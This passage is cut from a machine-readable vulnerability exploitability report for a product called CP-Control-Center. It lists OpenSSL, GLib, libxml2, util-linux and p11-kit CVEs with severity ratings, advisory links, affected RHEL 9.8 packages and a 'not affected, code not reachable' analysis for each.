"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L" }, { "source": { "name": "ubuntu" }, "severity": "low" } ], "cwes": [ 125 ], "description": "Issue summary: An application using the OpenSSL HTTP client API functions may\ntrigger an out-of-bounds read if the 'no_proxy' environment variable is set and\nthe host portion of the authority component of the HTTP URL is an IPv6 address.\n\nImpact summary: An out-of-bounds read can trigger a crash which leads to\nDenial of Service for an application.\n\nThe OpenSSL HTTP client API functions can be used directly by applications\nbut they are also used by the OCSP client functions and CMP (Certificate\nManagement Protocol) client implementation in OpenSSL. However the URLs used\nby these implementations are unlikely to be controlled by an attacker.\n\nIn this vulnerable code the out of bounds read can only trigger a crash.\nFurthermore the vulnerability requires an attacker-controlled URL to be\npassed from an application to the OpenSSL function and the user has to have\na 'no_proxy' environment variable set. For the aforementioned reasons the\nissue was assessed as Low severity.\n\nThe vulnerable code was introduced in the following patch releases:\n3.0.16, 3.1.8, 3.2.4, 3.3.3, 3.4.0 and 3.5.0.\n\nThe FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this\nissue, as the HTTP client implementation is outside the OpenSSL FIPS module\nboundary.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2025-9232" }, { "url": "http://www.openwall.com/lists/oss-security/2025/09/30/5" }, { "url": "https://access.redhat.com/security/cve/CVE-2025-9232" }, { "url": "https://cert-portal.siemens.com/productcert/html/ssa-032379.html" }, { "url": "https://cert-portal.siemens.com/productcert/html/ssa-082556.html" }, { "url": "https://cert-portal.siemens.com/productcert/html/ssa-089022.html" }, { "url": "https://cert-portal.siemens.com/productcert/html/ssa-253495.html" }, { "url": "https://cert-portal.siemens.com/productcert/html/ssa-485750.html" }, { "url": "https://cert-portal.siemens.com/productcert/html/ssa-585531.html" }, { "url": "https://github.com/advisories/GHSA-76r2-c3cg-f5r9" }, { "url": "https://github.com/openssl/openssl/commit/2b4ec20e47959170422922eaff25346d362dcb35" }, { "url": "https://github.com/openssl/openssl/commit/654dc11d23468a74fc8ea4672b702dd3feb7be4b" }, { "url": "https://github.com/openssl/openssl/commit/7cf21a30513c9e43c4bc3836c237cf086e194af3" }, { "url": "https://github.com/openssl/openssl/commit/89e790ac431125a4849992858490bed6b225eadf" }, { "url": "https://github.com/openssl/openssl/commit/bbf38c034cdabd0a13330abcc4855c866f53d2e0" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9232" }, { "url": "https://openssl-library.org/news/secadv/20250930.txt" }, { "url": "https://ubuntu.com/security/notices/USN-7786-1" }, { "url": "https://ubuntu.com/security/notices/USN-7894-1" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2025-9232" } ], "published": "2025-09-30T14:15:41+00:00", "updated": "2026-07-14T13:18:07+00:00", "affects": [ { "ref": "pkg:rpm/redhat/openssl-libs@3.5.5-4.el9_8?arch=x86_64&distro=redhat-9.8&epoch=1", "versions": [ { "version": "1:3.5.5-4.el9_8", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/openssl-libs@3.5.5-4.el9_8?arch=x86_64&distro=redhat-9.8&epoch=1" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-0988", "ratings": [ { "source": { "name": "azure" }, "severity": "low" }, { "source": { "name": "cbl-mariner" }, "severity": "low" }, { "source": { "name": "redhat" }, "score": 3.7, "severity": "low", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "source": { "name": "ubuntu" }, "severity": "medium" } ], "cwes": [ 190 ], "description": "A flaw was found in glib. Missing validation of offset and count parameters in the g_buffered_input_stream_peek() function can lead to an integer overflow during length calculation. When specially crafted values are provided, this overflow results in an incorrect size being passed to memcpy(), triggering a buffer overflow. This can cause application crashes, leading to a Denial of Service (DoS).", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-0988" }, { "url": "https://access.redhat.com/errata/RHSA-2026:7461" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-0988" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2429886" }, { "url": "https://gitlab.gnome.org/GNOME/glib/-/issues/3851" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0988" }, { "url": "https://ubuntu.com/security/notices/USN-7971-1" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-0988" } ], "published": "2026-01-21T12:15:55+00:00", "updated": "2026-06-17T10:11:43+00:00", "affects": [ { "ref": "pkg:rpm/redhat/glib2@2.68.4-19.el9_8.1?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.68.4-19.el9_8.1", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/glib2@2.68.4-19.el9_8.1?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-0989", "ratings": [ { "source": { "name": "amazon" }, "severity": "low" }, { "source": { "name": "azure" }, "severity": "low" }, { "source": { "name": "julia" }, "score": 3.7, "severity": "low", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "source": { "name": "photon" }, "severity": "low" }, { "source": { "name": "redhat" }, "score": 3.7, "severity": "low", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "source": { "name": "ubuntu" }, "severity": "medium" } ], "cwes": [ 674 ], "description": "A flaw was identified in the RelaxNG parser of libxml2 related to how external schema inclusions are handled. The parser does not enforce a limit on inclusion depth when resolving nested directives. Specially crafted or overly complex schemas can cause excessive recursion during parsing. This may lead to stack exhaustion and application crashes, creating a denial-of-service risk.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-0989" }, { "url": "https://access.redhat.com/errata/RHSA-2026:7519" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-0989" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2429933" }, { "url": "https://gitlab.gnome.org/GNOME/libxml2/-/issues/998" }, { "url": "https://gitlab.gnome.org/GNOME/libxml2/-/merge_requests/374" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0989" }, { "url": "https://ubuntu.com/security/notices/USN-7974-1" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-0989" } ], "published": "2026-01-15T15:15:52+00:00", "updated": "2026-09-01T13:18:07+00:00", "affects": [ { "ref": "pkg:rpm/redhat/libxml2@2.9.13-14.el9_8.1?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.9.13-14.el9_8.1", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/libxml2@2.9.13-14.el9_8.1?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-0990", "ratings": [ { "source": { "name": "amazon" }, "severity": "medium" }, { "source": { "name": "azure" }, "severity": "medium" }, { "source": { "name": "cbl-mariner" }, "severity": "medium" }, { "source": { "name": "julia" }, "score": 5.9, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "photon" }, "severity": "medium" }, { "source": { "name": "redhat" }, "score": 5.9, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "ubuntu" }, "severity": "medium" } ], "cwes": [ 674 ], "description": "A flaw was found in libxml2, an XML parsing library. This uncontrolled recursion vulnerability occurs in the xmlCatalogXMLResolveURI function when an XML catalog contains a delegate URI entry that references itself. A remote attacker could exploit this configuration-dependent issue by providing a specially crafted XML catalog, leading to infinite recursion and call stack exhaustion. This ultimately results in a segmentation fault, causing a Denial of Service (DoS) by crashing affected applications.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-0990" }, { "url": "https://access.redhat.com/errata/RHSA-2026:7519" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-0990" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2429959" }, { "url": "https://gitlab.gnome.org/GNOME/libxml2/-/issues/1018" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0990" }, { "url": "https://ubuntu.com/security/notices/USN-7974-1" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-0990" } ], "published": "2026-01-15T15:15:52+00:00", "updated": "2026-09-01T12:17:34+00:00", "affects": [ { "ref": "pkg:rpm/redhat/libxml2@2.9.13-14.el9_8.1?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.9.13-14.el9_8.1", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/libxml2@2.9.13-14.el9_8.1?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-0992", "ratings": [ { "source": { "name": "amazon" }, "severity": "medium" }, { "source": { "name": "azure" }, "severity": "low" }, { "source": { "name": "cbl-mariner" }, "severity": "low" }, { "source": { "name": "julia" }, "score": 2.9, "severity": "low", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "source": { "name": "photon" }, "severity": "low" }, { "source": { "name": "redhat" }, "score": 2.9, "severity": "low", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "source": { "name": "ubuntu" }, "severity": "medium" } ], "cwes": [ 400 ], "description": "A flaw was found in the libxml2 library. This uncontrolled resource consumption vulnerability occurs when processing XML catalogs that contain repeated elements pointing to the same downstream catalog. A remote attacker can exploit this by supplying crafted catalogs, causing the parser to redundantly traverse catalog chains. This leads to excessive CPU consumption and degrades application availability, resulting in a denial-of-service condition.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-0992" }, { "url": "https://access.redhat.com/errata/RHSA-2026:7519" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-0992" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2429975" }, { "url": "https://gitlab.gnome.org/GNOME/libxml2/-/issues/1019" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0992" }, { "url": "https://ubuntu.com/security/notices/USN-7974-1" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-0992" } ], "published": "2026-01-15T15:15:52+00:00", "updated": "2026-09-01T13:18:07+00:00", "affects": [ { "ref": "pkg:rpm/redhat/libxml2@2.9.13-14.el9_8.1?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.9.13-14.el9_8.1", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/libxml2@2.9.13-14.el9_8.1?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-11979", "ratings": [ { "source": { "name": "alma" }, "severity": "medium" }, { "source": { "name": "amazon" }, "severity": "medium" }, { "source": { "name": "nvd" }, "score": 7.8, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" }, { "source": { "name": "oracle-oval" }, "severity": "medium" }, { "source": { "name": "photon" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 4.8, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L" }, { "source": { "name": "rocky" }, "severity": "medium" } ], "cwes": [ 121 ], "description": "libxml2 is vulnerable to multiple stack-based buffer overflows in the xmlcatalog utility when running in --shell mode. The usershell() function processes user input using fixed-size stack buffers without proper bounds checking.\nBy supplying an overly long input line, an attacker can overflow internal buffers (command, arg, and argv) during input parsing. This results in memory corruption within the stack frame.\nSuccessful exploitation may cause a crash or potentially allow arbitrary code execution in the context of the xmlcatalog process.\n\nThis issue has been fixed in the commit c2e233fc.\n\nNOTE:\nThe maintainers of this project did not agree that this issue is a vulnerability and considered it a bug.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-11979" }, { "url": "https://access.redhat.com/errata/RHSA-2026:61247" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-11979" }, { "url": "https://bugzilla.redhat.com/2491354" }, { "url": "https://bugzilla.redhat.com/2494191" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2491354" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2494191" }, { "url": "https://cert.pl/en/posts/2026/06/CVE-2026-11979" }, { "url": "https://creativecommons.org/licenses/by/4.0/" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11979" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6653" }, { "url": "https://errata.almalinux.org/9/ALSA-2026-61247.html" }, { "url": "https://errata.rockylinux.org/RLSA-2026:61247" }, { "url": "https://gitlab.gnome.org/GNOME/libxml2/-/commit/c2e233fc1b341685fc99621b2768b503f777a72e" }, { "url": "https://linux.oracle.com/cve/CVE-2026-11979.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2026-61247-0.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11979" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-11979" } ], "published": "2026-06-29T14:16:40+00:00", "updated": "2026-06-30T20:22:07+00:00", "affects": [ { "ref": "pkg:rpm/redhat/libxml2@2.9.13-14.el9_8.1?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.9.13-14.el9_8.1", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/libxml2@2.9.13-14.el9_8.1?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-13595", "ratings": [ { "source": { "name": "azure" }, "severity": "medium" }, { "source": { "name": "julia" }, "score": 5.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:H" }, { "source": { "name": "nvd" }, "score": 5.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:H" }, { "source": { "name": "redhat" }, "score": 6.8, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H" }, { "source": { "name": "ubuntu" }, "severity": "medium" } ], "cwes": [ 416 ], "description": "A flaw was found in the libblkid library of util-linux. During nested partition probing, the BSD, Minix, Solaris x86, and UnixWare partition probers cache a raw pointer to a parent partition entry in a dynamically allocated array. When subsequent partition additions cause the array to be reallocated, this pointer becomes stale, leading to a heap use-after-free read. An attacker who can present a crafted block device image (for example, via USB insertion or a loop-mounted disk image) can trigger this flaw without user interaction, as libblkid is invoked automatically by udev/udisks as root on block-device hot-plug events. This could lead to limited information disclosure or denial of service.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-13595" }, { "url": "https://access.redhat.com/errata/RHSA-2026:26573" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-13595" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2494101" }, { "url": "https://github.com/util-linux/util-linux/commit/c0186f14fbdb02f64c8e0ba701ce727ea764ff4c" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13595" }, { "url": "https://ubuntu.com/security/notices/USN-8702-1" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-13595" } ], "published": "2026-06-29T09:16:28+00:00", "updated": "2026-08-31T18:17:13+00:00", "affects": [ { "ref": "pkg:rpm/redhat/libblkid@2.37.4-25.el9?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.37.4-25.el9", "status": "affected" } ] }, { "ref": "pkg:rpm/redhat/libmount@2.37.4-25.el9?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.37.4-25.el9", "status": "affected" } ] }, { "ref": "pkg:rpm/redhat/libuuid@2.37.4-25.el9?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.37.4-25.el9", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/libblkid@2.37.4-25.el9?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/libmount@2.37.4-25.el9?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/libuuid@2.37.4-25.el9?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-13757", "ratings": [ { "source": { "name": "alma" }, "severity": "medium" }, { "source": { "name": "azure" }, "severity": "medium" }, { "source": { "name": "oracle-oval" }, "severity": "medium" }, { "source": { "name": "redhat" }, "score": 6.2, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "rocky" }, "severity": "medium" }, { "source": { "name": "ubuntu" }, "severity": "medium" } ], "cwes": [ 674 ], "description": "A flaw was found in p11-kit. The RPC message attribute parsing functions p11_rpc_message_get_attribute() and p11_rpc_message_get_attribute_array_value() form a mutually-recursive call chain with no recursion depth limit when processing nested CKA_WRAP_TEMPLATE, CKA_UNWRAP_TEMPLATE, and CKA_DERIVE_TEMPLATE attributes. An unauthenticated attacker with local access to the p11-kit RPC Unix domain socket can send a specially crafted request with deeply nested template attributes, causing stack exhaustion and crashing the p11-kit server process and its dependent services.", "recommendation": "Upgrade p11-kit to version 0.26.4-1.el9_8; Upgrade p11-kit-trust to version 0.26.4-1.el9_8", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-13757" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37469" }, { "url": "https://access.redhat.com/errata/RHSA-2026:38342" }, { "url": "https://access.redhat.com/errata/RHSA-2026:49667" }, { "url": "https://access.redhat.com/errata/RHSA-2026:49668" }, { "url": "https://access.redhat.com/errata/RHSA-2026:53371" }, { "url": "https://access.redhat.com/errata/RHSA-2026:54387" }, { "url": "https://access.redhat.com/errata/RHSA-2026:54760" }, { "url": "https://access.redhat.com/errata/RHSA-2026:58981" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-13757" }, { "url": "https://bugzilla.redhat.com/2494556" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2494556" }, { "url": "https://creativecommons.org/licenses/by/4.0/" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13757" }, { "url": "https://errata.almalinux.org/9/ALSA-2026-49667.html" }, { "url": "https://errata.rockylinux.org/RLSA-2026:49667" }, { "url": "https://github.com/advisories/GHSA-p2wm-69qx-x25w" }, { "url": "https://linux.oracle.com/cve/CVE-2026-13757.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2026-49668.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13757" }, { "url": "https://ubuntu.com/security/notices/USN-8687-1" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-13757" } ], "published": "2026-06-29T19:16:40+00:00", "updated": "2026-09-01T13:18:10+00:00", "affects": [ { "ref": "pkg:rpm/redhat/p11-kit-trust@0.26.2-1.el9?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "0.26.2-1.el9", "status": "affected" } ] }, { "ref": "pkg:rpm/redhat/p11-kit@0.26.2-1.el9?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "0.26.2-1.el9", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/p11-kit-trust@0.26.2-1.el9?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/p11-kit@0.26.2-1.el9?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-1484", "ratings": [ { "source": { "name": "azure" }, "severity": "low" }, { "source": { "name": "bottlerocket" }, "severity": "medium" }, { "source": { "name": "photon" }, "severity": "medium" }, { "source": { "name": "redhat" }, "score": 4.2, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:L" }, { "source": { "name": "ubuntu" }, "severity": "medium" } ], "cwes": [ 787 ], "description": "A flaw was found in the GLib Base64 encoding routine when processing very large input data. Due to incorrect use of integer types during length calculation, the library may miscalculate buffer boundaries. This can cause memory writes outside the allocated buffer. Applications that process untrusted or extremely large Base64 input using GLib may crash or behave unpredictably.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-1484" }, { "url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-1484" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-1484" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2433259" }, { "url": "https://cert-portal.siemens.com/productcert/html/ssa-253495.html" }, { "url": "https://github.com/bottlerocket-os/bottlerocket-core-kit/blob/develop/advisories/14.5.0/BRSA-quby27cpefwz.toml" }, { "url": "https://gitlab.gnome.org/GNOME/glib/-/issues/3870" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1484" }, { "url": "https://ubuntu.com/security/notices/USN-8017-1" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-1484" } ], "published": "2026-01-27T14:15:56+00:00", "updated": "2026-06-17T10:15:52+00:00", "affects": [ { "ref": "pkg:rpm/redhat/glib2@2.68.4-19.el9_8.1?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.68.4-19.el9_8.1", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/glib2@2.68.4-19.el9_8.1?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-1485", "ratings": [ { "source": { "name": "bottlerocket" }, "severity": "low" }, { "source": { "name": "photon" }, "severity": "low" }, { "source": { "name": "redhat" }, "score": 2.8, "severity": "low", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L" }, { "source": { "name": "ubuntu" }, "severity": "medium" } ], "cwes": [ 124 ], "description": "A flaw was found in Glib's content type parsing logic. This buffer underflow vulnerability occurs because the length of a header line is stored in a signed integer, which can lead to integer wraparound for very large inputs. This results in pointer underflow and out-of-bounds memory access. Exploitation requires a local user to install or process a specially crafted treemagic file, which can lead to local denial of service or application instability.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-1485" }, { "url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-1485" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-1485" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2433325" }, { "url": "https://github.com/bottlerocket-os/bottlerocket-core-kit/blob/develop/advisories/14.5.0/BRSA-hui7k8rsmbsl.toml" }, { "url": "https://gitlab.gnome.org/GNOME/glib/-/issues/3871" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1485" }, { "url": "https://ubuntu.com/security/notices/USN-8017-1" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-1485" } ], "published": "2026-01-27T14:15:56+00:00", "updated": "2026-06-17T10:15:52+00:00", "affects": [ { "ref": "pkg:rpm/redhat/glib2@2.68.4-19.el9_8.1?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.68.4-19.el9_8.1", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/glib2@2.68.4-19.el9_8.1?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-1489", "ratings": [ { "source": { "name": "azure" }, "severity": "medium" }, { "source": { "name": "bottlerocket" }, "severity": "medium" }, { "source": { "name": "cbl-mariner" }, "severity": "medium" }, { "source": { "name": "redhat" }, "score": 5.4, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L" }, { "source": { "name": "ubuntu" }, "severity": "medium" } ], "cwes": [ 787 ], "description": "A flaw was found in GLib. An integer overflow vulnerability in its Unicode case conversion implementation can lead to memory corruption. By processing specially crafted and extremely large Unicode strings, an attacker could trigger an undersized memory allocation, resulting in out-of-bounds writes. This could cause applications utilizing GLib for string conversion to crash or become unstable.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-1489" }, { "url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-1489" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-1489" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2433348" }, { "url": "https://cert-portal.siemens.com/productcert/html/ssa-253495.html" }, { "url": "https://github.com/bottlerocket-os/bottlerocket-core-kit/blob/develop/advisories/14.5.0/BRSA-h6zf92f0298p.toml" }, { "url": "https://gitlab.gnome.org/GNOME/glib/-/issues/3872" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1489" }, { "url": "https://ubuntu.com/security/notices/USN-8017-1" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-1489" } ], "published": "2026-01-27T15:15:57+00:00", "updated": "2026-06-17T10:15:53+00:00", "affects": [ { "ref": "pkg:rpm/redhat/glib2@2.68.4-19.el9_8.1?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.68.4-19.el9_8.1", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/glib2@2.68.4-19.el9_8.1?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-15588", "ratings": [ { "source": { "name": "alma" }, "severity": "medium" }, { "source": { "name": "azure" }, "severity": "medium" }, { "source": { "name": "oracle-oval" }, "severity": "medium" }, { "source": { "name": "photon" }, "severity": "medium" }, { "source": { "name": "redhat" }, "score": 5.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L" }, { "source": { "name": "rocky" }, "severity": "medium" } ], "cwes": [ 770 ], "description": "A denial-of-service and resource exhaustion vulnerability exists within the `GDBus` component of GLib. The `gdbusauth` authentication mechanism fails to enforce proper length limitations on data lines read from a client. An unauthenticated local or remote attacker can exploit this lack of input validation by sending excessively long streams of data, causing the application to consume massive amounts of system memory and CPU, potentially leading to a crash 